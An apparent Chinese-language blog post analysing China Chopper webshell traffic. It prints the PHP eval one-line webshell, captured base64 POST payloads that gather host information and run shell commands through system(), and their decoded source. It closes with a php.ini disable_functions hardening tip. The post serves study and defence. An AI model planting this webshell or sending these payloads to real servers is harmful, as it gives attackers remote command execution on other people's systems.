日常使用的C刀或者其它菜刀,原理应该是类似的,利用一些像 eval() 这样的危险函数,从而以达到目的。比如像 @eval($_POST['a']); 这样的一句话木马。
使用burpsuite或者wireshark对其进行分析,C刀刚开始建立连接的时候,会以POST形式发送下面这些数据来获得主机的一些信息:
a=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
对 action 的内容进行解码和排版之后:
<?php
//关闭所有错误报告
//错误信息可能会使二次处理失败
@ini_set("display_errors", "0");
//最大的执行时间,单位为秒。如果设置为0(零),没有时间方面的限制。
@set_time_limit(0);
//设置运行时不从外部资源产生的数据使用自动字符串转义( ‘ ” \ NULL )。
//大多数函数从外部资源(数据库,文本文件等)返回数据都不会被转义。
//例如:用SQL查询得到的数据,用exec()函数得到的数据,等等
//此函数在PHP 5.3.0中已弃用,并且自PHP 7.0.0起已删除。
@set_magic_quotes_runtime(0);
//使用特殊的开头和结尾,方便程序识别
echo ("->|");
;
//当前执行脚本的绝对路径。
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") {
//当前脚本所在文件系统(非文档根目录)的基本路径。
//这是在服务器进行虚拟到真实路径的映像后的结果。
$D = dirname($_SERVER["PATH_TRANSLATED"]);
}
$R = "{$D}\t";
//如果是Windows的话,还要进行二次处理,显示所在的驱动器
if (substr($D, 0, 1) != "/") {
foreach (range("A", "Z") as $L) {
if (is_dir("{$L}:")) {
$R .= "{$L}:";
}
}
}
$R .= "\t";
// 得到数组
// array (
// 'name' => 'www-data',
// 'passwd' => 'x',
// 'uid' => 33,
// 'gid' => 33,
// 'gecos' => 'www-data',
// 'dir' => '/var/www',
// 'shell' => '/usr/sbin/nologin',
// )
$u = (function_exists('posix_getegid')) ?
@posix_getpwuid(@posix_geteuid()) :
'';
//获得用户名
$usr = ($u) ?
$u['name'] :
@get_current_user();
//获得系统信息
$R .= php_uname();
$R .= "({$usr})";
print $R;
;
echo ("|<-");
die();
建立连接后就是正常的webshell,下面是进行webshell时截取的post(以ls命令为例):
a=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1=L2Jpbi9zaA==&z2=Y2QgIi92YXIvd3d3L2h0bWwvIjtscztlY2hvIFtTXTtwd2Q7ZWNobyBbRV0=
action 是POST的执行体,z1 是执行的程序, z2 是执行的命令,将内容进行解码和排版之后:
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
// /bin/sh
$p = base64_decode($_POST["z1"]);
$p= '/bin/sh';
// cd "/var/www/html/";ls;echo [S];pwd;echo [E]
$s = base64_decode($_POST["z2"]);
$s='cd "/var/www/html/";ls;echo [S];pwd;echo [E]';
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ?
"-c \"{$s}\"" :
"/c \"{$s}\"";
$r = "{$p} {$c}";
@system($r . " 2>&1", $ret);
print($ret != 0) ?
"ret={$ret}" :
"";
;
echo ("|<-");
die();
因为存在像 eval 这样的函数,服务器会变得很危险,而且这个函数一般开发人员都不会去用,只会给心术不正的人可乘之机,可以在php.ini中禁用这类函数,只需要在php.ini 中加入:
disable_functions =eval,assert,phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
再重启相应的web服务即可。
根据PHP的官方文档:
disable_functions "" php.ini only 从 PHP 4.0.1 起可用。
也就是说只能在php.ini设置
所以如果你不是管理员那就很麻烦了。